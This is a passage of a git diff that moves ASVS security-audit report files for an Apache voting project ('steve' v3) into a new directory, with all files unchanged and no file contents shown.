rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.4.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.5.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.3.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.4.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.3.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.4.1.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.4.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.4.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.4.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.4.2.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.4.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.4.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.4.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.4.3.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.4.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.4.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.4.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.1.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.2.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.3.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.4.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.5.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/rate_limiting_and_dos/2.4.1.md b/ASVS/reports/steve/v3/d0aa7e9/rate_limiting_and_dos/2.4.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/rate_limiting_and_dos/2.4.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/rate_limiting_and_dos/2.4.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/rate_limiting_and_dos/2.4.2.md b/ASVS/reports/steve/v3/d0aa7e9/rate_limiting_and_dos/2.4.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/rate_limiting_and_dos/2.4.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/rate_limiting_and_dos/2.4.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.2.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.3.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.4.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.1.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.4.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.5.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.6.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.2.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.3.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.4.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.3.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.1.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.2.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.3.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.4.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.5.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.6.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.7.md b/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.7.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.7.md
rename to ASVS/reports/steve/v3/d0aa7e9/secrets_and_configuration/13.4.7.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.1.2.md b/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.1.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.1.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.1.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.4.md b/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.5.md b/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.6.md b/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.7.md b/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.7.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.7.md
rename to ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.7.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.8.md b/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.8.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.8.md
rename to ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.2.8.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.3.3.md b/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.3.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.3.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/sensitive_data_handling/14.3.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.2.md b/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.3.md b/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.4.md b/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.5.md b/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.1.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.3.md b/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.4.md b/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.5.md b/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/tls_and_transport_security/12.3.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.2.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.3.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.4.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.1.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.4.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.5.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.2.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.3.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.4.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.5.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.3.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.1.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.1.md
